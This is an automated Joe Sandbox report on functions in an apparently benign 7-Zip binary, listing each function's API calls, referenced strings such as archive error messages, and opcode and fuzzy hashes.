Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$FreeString$fputcfree
String ID: = $--$----$Path$Type$Warning: The archive is open with offset
API String ID: 2701146716-1919703766
Opcode ID: 056823ced0437aa058963227a671e786ca22100c31a9c30bcc1abefe94dc5ebc
Instruction ID: a8943057a7d9b0356d660dc334df91d3a7fdb0a1d0f2be07fa9d4b1e1aaf6e4a
Opcode Fuzzy Hash: 056823ced0437aa058963227a671e786ca22100c31a9c30bcc1abefe94dc5ebc
Instruction Fuzzy Hash: 9F916A36214A8682DB14EF22E958B6E7330F795FC8F41A126EF5A47B28DF38C945C704

Function 00C4F71C Relevance: 30.0, APIs: 11, Strings: 6, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C41610: free.MSVCRT(?,?,?,?,?,?,?,FFFFFFFF,?,?,00C4F749), ref: 00C41682
Part of subcall function 00C41610: free.MSVCRT(?,?,?,?,?,?,?,FFFFFFFF,?,?,00C4F749), ref: 00C4168A
Part of subcall function 00C41610: free.MSVCRT(?,?,?,?,?,?,?,FFFFFFFF,?,?,00C4F749), ref: 00C416C4

_CxxThrowException.MSVCRT ref: 00C4F76E
_isatty.MSVCRT ref: 00C4F77E
_isatty.MSVCRT ref: 00C4F796
_isatty.MSVCRT ref: 00C4F7AE
_CxxThrowException.MSVCRT ref: 00C4F8E0
wcscmp.MSVCRT ref: 00C4F96F
_CxxThrowException.MSVCRT ref: 00C4F9AE
_CxxThrowException.MSVCRT ref: 00C4FA6F
GetCurrentProcess.KERNEL32 ref: 00C4FA77
SetProcessAffinityMask.KERNEL32 ref: 00C4FA83
free.MSVCRT ref: 00C4FA8F

Strings

Unsupported switch postfix -stm, xrefs: 00C4FA52
Unsupported switch postfix for -slp, xrefs: 00C4F991
SeLockMemoryPrivilege, xrefs: 00C4F9CB
Unsupported switch postfix -bb, xrefs: 00C4F8C3
SeRestorePrivilege, xrefs: 00C4F91C
SeCreateSymbolicLinkPrivilege, xrefs: 00C4F92A

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ExceptionThrowfree$_isatty$Process$AffinityCurrentMaskwcscmp
String ID: SeCreateSymbolicLinkPrivilege$SeLockMemoryPrivilege$SeRestorePrivilege$Unsupported switch postfix -bb$Unsupported switch postfix -stm$Unsupported switch postfix for -slp
API String ID: 1961088698-2328792591
Opcode ID: 9fbf6495933f589f3caaa937893ccbef6d2c554dfb66b53bc2ba33e20914ec5e
Instruction ID: 5fecd37b7e0fe0720d449b48287b1cc88ddcc6edd2df09925e3a49ccb1732bf0
Opcode Fuzzy Hash: 9fbf6495933f589f3caaa937893ccbef6d2c554dfb66b53bc2ba33e20914ec5e
Instruction Fuzzy Hash: 04A1A073608AC489EB21DF25E49039D3B60F796B98F58817ADB9C47765CF24CA86C311

Function 00C8A448 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 00C8A477

Part of subcall function 00C426A0: fputs.MSVCRT ref: 00C426C1

fputs.MSVCRT ref: 00C8A4C1
free.MSVCRT ref: 00C8A52B
free.MSVCRT ref: 00C8A533
free.MSVCRT ref: 00C8A545
free.MSVCRT ref: 00C8A57A
free.MSVCRT ref: 00C8A582
free.MSVCRT ref: 00C8A594
_CxxThrowException.MSVCRT ref: 00C8A5E1
free.MSVCRT ref: 00C8A5EF
free.MSVCRT ref: 00C8A61C
free.MSVCRT ref: 00C8A62E

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

Strings

Warnings: , xrefs: 00C8A470
Errors: , xrefs: 00C8A4BA

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$fputs$ExceptionThrowfputc
String ID: Errors: $Warnings:
API String ID: 437615013-2345102087
Opcode ID: c17e1b3a36cdbbfd7996e98bb7f23ae8f9c07938e1b3301a2bd11b1a59f54ab7
Instruction ID: f16dda1d337dea8be1bdd6915f6b31e7aad5c3b8e4054cd233e0cacddb54b0e2
Opcode Fuzzy Hash: c17e1b3a36cdbbfd7996e98bb7f23ae8f9c07938e1b3301a2bd11b1a59f54ab7
Instruction Fuzzy Hash: 1251B9623549C081D930FB25F8D13ADA3A1FBC2794F485223EAAD17769DF38C9C69706

Function 00C683C8 Relevance: 27.2, APIs: 13, Strings: 5, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C48624: free.MSVCRT(?,?,?,?,?,?,00C4FF0B), ref: 00C486A9

free.MSVCRT ref: 00C68493
free.MSVCRT ref: 00C684A7
free.MSVCRT ref: 00C684B8
free.MSVCRT ref: 00C68503
free.MSVCRT ref: 00C6850E

Part of subcall function 00C486DC: free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00C6844A), ref: 00C48761

free.MSVCRT ref: 00C6854D
free.MSVCRT ref: 00C68558
free.MSVCRT ref: 00C68590
free.MSVCRT ref: 00C6859B

Part of subcall function 00C68290: free.MSVCRT(?,?,?,?,?,?,?,?,00000001,?,00C684EC), ref: 00C6832B
Part of subcall function 00C68290: free.MSVCRT(?,?,?,?,?,?,?,?,00000001,?,00C684EC), ref: 00C68336

free.MSVCRT ref: 00C685D0
free.MSVCRT ref: 00C685DB
free.MSVCRT ref: 00C685EA
free.MSVCRT ref: 00C68602

Part of subcall function 00C43314: memmove.MSVCRT ref: 00C43339

Strings

Codecs, xrefs: 00C6841F
Formats, xrefs: 00C6844E
Path64, xrefs: 00C684D6, 00C68520
Path, xrefs: 00C6856A, 00C685AA
7z.dll, xrefs: 00C683F0

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID: 7z.dll$Codecs$Formats$Path$Path64
API String ID: 1534225298-3804457719
Opcode ID: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
Instruction ID: 0bc8e0351a62aad124b605d11eb22a9076e480e3a50736ecb112a98a4702474f
Opcode Fuzzy Hash: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
Instruction Fuzzy Hash: 8951866220464590DE30EF15E4927AD6760EBC67F4F942212BE9E577B9CF28CA8BD700

Function 00C6AB74 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 268
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 00C6ABC9
free.MSVCRT ref: 00C6ACF3
free.MSVCRT ref: 00C6ACFE
free.MSVCRT(?), ref: 00C6AD95
memmove.MSVCRT(?), ref: 00C6ADCB
free.MSVCRT(?), ref: 00C6AE70
free.MSVCRT ref: 00C6AF7F

Part of subcall function 00C694A8: free.MSVCRT ref: 00C694DB
Part of subcall function 00C694A8: free.MSVCRT ref: 00C694E3
Part of subcall function 00C694A8: free.MSVCRT ref: 00C694F0
Part of subcall function 00C694A8: free.MSVCRT ref: 00C6951C
Part of subcall function 00C694A8: free.MSVCRT ref: 00C69525
Part of subcall function 00C694A8: free.MSVCRT ref: 00C6952D
Part of subcall function 00C694A8: free.MSVCRT ref: 00C6953A

free.MSVCRT ref: 00C6AEC2

Part of subcall function 00C4339C: free.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433D7
Part of subcall function 00C4339C: memmove.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433F2

Part of subcall function 00C6A9FC: free.MSVCRT ref: 00C6AA95
Part of subcall function 00C6A9FC: free.MSVCRT ref: 00C6AAC5
Part of subcall function 00C6A9FC: free.MSVCRT ref: 00C6AAD2

free.MSVCRT ref: 00C6AEFA
GetProcAddress.KERNEL32 ref: 00C6AF4D

Strings

Codecs\, xrefs: 00C6AE99
Formats\, xrefs: 00C6AED1
SetCodecs, xrefs: 00C6AF43
7z.dll, xrefs: 00C6AE3C, 00C6AE89

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove$AddressProc
String ID: 7z.dll$Codecs\$Formats\$SetCodecs
API String ID: 4053071709-2499791885
Opcode ID: 9289078346de572c99ec9685dbc78485ff94832fd4c5465191724674782d05d5
Instruction ID: ec6afd0db364cffd735017d908b0002f116e574e828e7dd275010e2fe18bbd63
Opcode Fuzzy Hash: 9289078346de572c99ec9685dbc78485ff94832fd4c5465191724674782d05d5
Instruction Fuzzy Hash: 64B1B276204AC096CB30EB61E4D136FB7A0F385798F504112EB9E57B25DF78C9A9DB02

Function 00C81850 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00C81877
fputs.MSVCRT ref: 00C8190A
LeaveCriticalSection.KERNEL32 ref: 00C81A44

Part of subcall function 00C8B1C8: memset.MSVCRT ref: 00C8B20D
Part of subcall function 00C8B1C8: fputs.MSVCRT ref: 00C8B232

fputs.MSVCRT ref: 00C8194D

Part of subcall function 00C426A0: fputs.MSVCRT ref: 00C426C1

fputs.MSVCRT ref: 00C819CB
fputs.MSVCRT ref: 00C819EA
LeaveCriticalSection.KERNEL32 ref: 00C81A51

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

free.MSVCRT ref: 00C81A14

Strings

Sub items Errors: , xrefs: 00C81946
p, xrefs: 00C819A4
ERROR: , xrefs: 00C819C4
Can't allocate required memory!, xrefs: 00C819E3
Everything is Ok, xrefs: 00C81903

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$CriticalSection$Leave$Enterfputcfreememset
String ID: Can't allocate required memory!$ERROR: $Everything is Ok$Sub items Errors: $p
API String ID: 676172275-580504279
Opcode ID: 1063b9a5055dd18bc7b63b119edf035ddb523fc5d3a33ba310829bff8c9b94f0
Instruction ID: b21a4fc31d3f52727e4a56cee4e41059b679493ad2ffdbc64e328f9ffe5f2107
Opcode Fuzzy Hash: 1063b9a5055dd18bc7b63b119edf035ddb523fc5d3a33ba310829bff8c9b94f0
Instruction Fuzzy Hash: F451A332305A8192EB1DAF25D9A57ED6374F744B58F484226DF2E07360CF38D9A6D308

Function 00C638E8 Relevance: 22.8, APIs: 13, Strings: 2, Instructions: 262
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C6373C: free.MSVCRT ref: 00C637FB

memmove.MSVCRT ref: 00C6396F
free.MSVCRT ref: 00C63986
free.MSVCRT ref: 00C63A11
_CxxThrowException.MSVCRT ref: 00C63A5F
free.MSVCRT ref: 00C63AD3

Part of subcall function 00C63864: free.MSVCRT ref: 00C63877
Part of subcall function 00C63864: free.MSVCRT ref: 00C63892
Part of subcall function 00C63864: free.MSVCRT ref: 00C6389B
Part of subcall function 00C63864: free.MSVCRT ref: 00C638C6
Part of subcall function 00C63864: free.MSVCRT ref: 00C638CE

Strings

Duplicate archive path:, xrefs: 00C63C07
Cannot find archive, xrefs: 00C63A42

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmemmove
String ID: Cannot find archive$Duplicate archive path:
API String ID: 3934437811-2067063536
Opcode ID: cb8f74f9773297cdd49a0ca175e0294e4bed06a47462a3eb8b06c6dd458c7679
Instruction ID: 729bde5999a4a03a8afcf48d5e35e61f1f27511d51f52a9a130cc768f3696645
Opcode Fuzzy Hash: cb8f74f9773297cdd49a0ca175e0294e4bed06a47462a3eb8b06c6dd458c7679
Instruction Fuzzy Hash: 59A1A072314AC492CA20EF16E8D165EB3A1F7C5B90F405512EF9E07B29DF38CA46EB00

Function 00C742A2 Relevance: 21.3, APIs: 13, Strings: 1, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.MSVCRT ref: 00C74324
free.MSVCRT ref: 00C7441A
free.MSVCRT ref: 00C74425

Strings

, xrefs: 00C74466

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-3916222277
Opcode ID: bfda89d0d9cdfe3f540f1be295f01f6c1ea07059f837bb15d646c794703c55e5
Instruction ID: 91c7c72ae6db98f08d4a01ade925be2329c0824303901f9d7da7c53163580e98
Opcode Fuzzy Hash: bfda89d0d9cdfe3f540f1be295f01f6c1ea07059f837bb15d646c794703c55e5
Instruction Fuzzy Hash: 4FD13D37209AC496CB25DB65E0902AEBB60F7C6B84F545016EB9E43B29DF7CC589DB00

Function 00C691E0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00C69205
GetProcAddress.KERNEL32 ref: 00C69219
GetProcAddress.KERNEL32 ref: 00C6922D
GetProcAddress.KERNEL32 ref: 00C69257
memmove.MSVCRT ref: 00C692F0
GetProcAddress.KERNEL32 ref: 00C6931C

Strings

CreateEncoder, xrefs: 00C6920E
GetMethodProperty, xrefs: 00C69222
GetNumberOfMethods, xrefs: 00C69245
CreateDecoder, xrefs: 00C691FB
GetHashers, xrefs: 00C69315

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: AddressProc$memmove
String ID: CreateDecoder$CreateEncoder$GetHashers$GetMethodProperty$GetNumberOfMethods
API String ID: 2879976980-73314117
Opcode ID: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
Instruction ID: 27594d16236fe568a7fc1d3a111eea936926beaa726b27efcabe1666e04a3af7
Opcode Fuzzy Hash: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
Instruction Fuzzy Hash: 15416672205A4196EB30DF21E8C079DB3A5F784784F404236EB9E87768DF78CA4ACB00

Function 00C81BC0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 250COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C81CF9

Part of subcall function 00C8B1C8: memset.MSVCRT ref: 00C8B20D
Part of subcall function 00C8B1C8: fputs.MSVCRT ref: 00C8B232

Part of subcall function 00C42300: fputc.MSVCRT ref: 00C42311

fputs.MSVCRT ref: 00C81DEE
fputs.MSVCRT ref: 00C81F07
fputs.MSVCRT ref: 00C81F5C

Part of subcall function 00C8171C: fputs.MSVCRT ref: 00C81744
Part of subcall function 00C8171C: fputs.MSVCRT ref: 00C81758
Part of subcall function 00C8171C: free.MSVCRT ref: 00C8176B

Part of subcall function 00C46618: FormatMessageW.KERNEL32 ref: 00C46676
Part of subcall function 00C46618: LocalFree.KERNEL32 ref: 00C46698

Part of subcall function 00C42320: free.MSVCRT ref: 00C4237E
Part of subcall function 00C42320: fputs.MSVCRT ref: 00C423B8
Part of subcall function 00C42320: free.MSVCRT ref: 00C423C4

free.MSVCRT ref: 00C81F86

Strings

WARNINGS:, xrefs: 00C81DB4, 00C81DE7
Can't allocate required memory, xrefs: 00C81F55
ERRORS:, xrefs: 00C81CBF, 00C81CF2
ERROR: , xrefs: 00C81F00

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: fputs$free$FormatFreeLocalMessagefputcmemset
String ID: Can't allocate required memory$ERROR: $ERRORS:$WARNINGS:
API String ID: 2553544393-24972044
Opcode ID: c8fab687c64268b82cb3662449b661246a7da8ff8f53bbd6509775a5cb297495
Instruction ID: b6627f067856fad8167a86a357b9527eaf30916c7f6755188c895230bff283d5
Opcode Fuzzy Hash: c8fab687c64268b82cb3662449b661246a7da8ff8f53bbd6509775a5cb297495
Instruction Fuzzy Hash: 46A19377300AC49ACA29FF72D5513AE7364F745B88F484126EF6E07611CF68D9A6D304

Function 00C8949B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C894EE
_CxxThrowException.MSVCRT ref: 00C8A5E1
free.MSVCRT ref: 00C8A5EF
free.MSVCRT ref: 00C8A61C
free.MSVCRT ref: 00C8A62E
free.MSVCRT ref: 00C8A696
free.MSVCRT ref: 00C8A69E
free.MSVCRT ref: 00C8A6B0

Strings

Decoding ERROR, xrefs: 00C894E7

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ExceptionThrowfputs
String ID: Decoding ERROR
API String ID: 117389134-2585761706
Opcode ID: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
Instruction ID: 7c974cc159d75674464dbb127642701118c967d1e0a4f8dc3898e02f1f37f894
Opcode Fuzzy Hash: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
Instruction Fuzzy Hash: C031E6623559C081EA30FB25E8813AD63A1F782798F485623DA6E57758EF38C9C5C705

Function 00C6A7FC Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 123libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00C46464: FreeLibrary.KERNELBASE(?,?,?,00C464E7), ref: 00C46475

Part of subcall function 00C43404: free.MSVCRT ref: 00C43431
Part of subcall function 00C43404: memmove.MSVCRT ref: 00C4344C

GetProcAddress.KERNEL32 ref: 00C6A8CA
GetProcAddress.KERNEL32 ref: 00C6A8E8
GetProcAddress.KERNEL32 ref: 00C6A908
free.MSVCRT ref: 00C6A985
free.MSVCRT ref: 00C6A996

Strings

CreateObject, xrefs: 00C6A8FD
SetLargePageMode, xrefs: 00C6A8BF
SetCaseSensitive, xrefs: 00C6A8DD

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: AddressProcfree$FreeLibrarymemmove
String ID: CreateObject$SetCaseSensitive$SetLargePageMode
API String ID: 852969883-606380122
Opcode ID: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
Instruction ID: 94d9b68575c2a86113c938e1ca2ec6b55cd99f36c70771e935ba9d6626da15ce
Opcode Fuzzy Hash: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
Instruction Fuzzy Hash: D141B626200B4097DF30EF26E89075E6360FB89B98F489524DF9A477A5DF38D986C741

Function 00C8B480 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 229stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00C8B723
fputs.MSVCRT ref: 00C8B743

Part of subcall function 00C438C8: memmove.MSVCRT(00C4A0E5), ref: 00C43907

Part of subcall function 00C43A64: memmove.MSVCRT ref: 00C43AAA

GetTickCount.KERNEL32 ref: 00C8B49E

Part of subcall function 00C43404: free.MSVCRT ref: 00C43431
Part of subcall function 00C43404: memmove.MSVCRT ref: 00C4344C

strcmp.MSVCRT ref: 00C8B4E3
wcscmp.MSVCRT ref: 00C8B502
strcmp.MSVCRT ref: 00C8B568

Strings

. , xrefs: 00C8B6AC

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: memmovestrcmp$CountTickfputsfreewcscmp
String ID: .
API String ID: 591578422-4150638102
Opcode ID: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
Instruction ID: 034239811452f1a206ac85657ff9c604d46479a10b7700de9d05fed733a2d28f
Opcode Fuzzy Hash: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
Instruction Fuzzy Hash: DFA16B77700A85E7CB29EF2AD69065D7361F784788F808026DB6A47B11DF34E9B6C704

Function 00C69D98 Relevance: 12.1, APIs: 8, Instructions: 134COMMON

Download Yara Rule

APIs

Part of subcall function 00C69BCC: free.MSVCRT(?,?,?,?,?,00000000,?,?,00C69DE5), ref: 00C69C11
Part of subcall function 00C69BCC: free.MSVCRT(?,?,?,?,?,00000000,?,?,00C69DE5), ref: 00C69C19
Part of subcall function 00C69BCC: free.MSVCRT(?,?,?,?,?,00000000,?,?,00C69DE5), ref: 00C69C3B

Part of subcall function 00C69BCC: free.MSVCRT(?,?,?,?,?,00000000,?,?,00C69DE5), ref: 00C69D2A

wcscmp.MSVCRT ref: 00C69E66
free.MSVCRT ref: 00C69ECA
free.MSVCRT ref: 00C69ED4
free.MSVCRT ref: 00C69F13
free.MSVCRT ref: 00C69F1B
free.MSVCRT ref: 00C69F28
free.MSVCRT ref: 00C69F49
free.MSVCRT ref: 00C69F51

Part of subcall function 00C43404: free.MSVCRT ref: 00C43431
Part of subcall function 00C43404: memmove.MSVCRT ref: 00C4344C

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmovewcscmp
String ID:
API String ID: 3584677832-0
Opcode ID: 419078b5561bcbe998c8bace5f80db078349074a36591a840ea38ec4c74fc1c5
Instruction ID: 12cb09f3de71385421972193a64d62ec5361d80c3028367648d1407adc78c324
Opcode Fuzzy Hash: 419078b5561bcbe998c8bace5f80db078349074a36591a840ea38ec4c74fc1c5
Instruction Fuzzy Hash: 73411762304A8091CA20EF12E88016FB765FB81BE8F955215FF2D47768DF79C98AC300

Function 00C82ECC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C82F7E
fputs.MSVCRT ref: 00C82F9D
free.MSVCRT ref: 00C82FB6
free.MSVCRT ref: 00C82FC1

Part of subcall function 00C42C78: free.MSVCRT ref: 00C42CAE

Part of subcall function 00C42320: free.MSVCRT ref: 00C4237E
Part of subcall function 00C42320: fputs.MSVCRT ref: 00C423B8
Part of subcall function 00C42320: free.MSVCRT ref: 00C423C4

free.MSVCRT ref: 00C82FCC

Strings

= , xrefs: 00C82F96

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

